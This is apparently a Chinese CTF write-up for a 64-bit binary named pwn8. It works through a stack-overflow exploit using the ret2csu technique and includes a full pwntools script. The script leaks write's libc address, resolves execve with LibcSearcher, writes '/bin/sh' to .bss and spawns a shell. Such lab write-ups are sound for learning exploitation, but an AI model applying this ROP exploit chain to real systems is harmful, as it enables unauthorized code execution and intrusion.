# 查看程序
# 64 位程序,开启了 NX
有溢出漏洞, 变量为 char 型变量
没有后门函数, 那就 <font color=red> 去 libc 中找 execve 地址执行 </font>
偏移量为 136
write:write(1,输出地址,输出字节数)
write(1,write_got,8)
read:read(0,写入地址,写入字节数)
read(0,bss_base,16)
exp:
from pwn import * | |
from LibcSearcher import * | |
p=process("./pwn8") | |
e=ELF("./pwn8") | |
write=e.got["write"] | |
read=e.got["read"] | |
main=e.symbols["main"] | |
bss_base=e.bss() | |
csu1=0x000400606 | |
csu2=0x0004005F0 | |
def csu(rbx,rbp,r12,r13,r14,r15,last): | |
payload=b'a'*136+p64(csu1)+b'a'*8+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu2) | |
#加 8 个 a 是因为 csu1 里先执行 add rsp,8 ,意味着将栈变长了八字节,要填充才能到后面 | |
payload+=b'a'*56+p64(last) | |
#56 是将 add rsp,8 以及之后的总共 7 行全覆盖掉 7*8,前面已经给 rdx,rsi,edi 赋值了,再改变也没有影响 | |
p.send(payload) #不能用 sendline,会出错 | |
sleep(1) | |
p.recv() | |
csu(0,1,write,1,write,8,main) | |
write_really=u64(p.recv(8)) | |
libc=LibcSearcher("write",write_really) | |
libc_base=write_really-libc.dump('write') | |
execve=libc_base+libc.dump('execve') | |
csu(0,1,read,0,bss_base,16,main) | |
p.sendline(p64(execve)+b'/bin/sh\x00') | |
p.recv() | |
csu(0,1,bss_base,bss_base+8,0,0,main) | |
#bss_base 相当于是 execve 的地址,bss_base+8 是到了 execve 的参数 "/bin/sh\x00" | |
p.interactive() |
参考链接 ret2csu:http://t.csdn.cn/DIqYv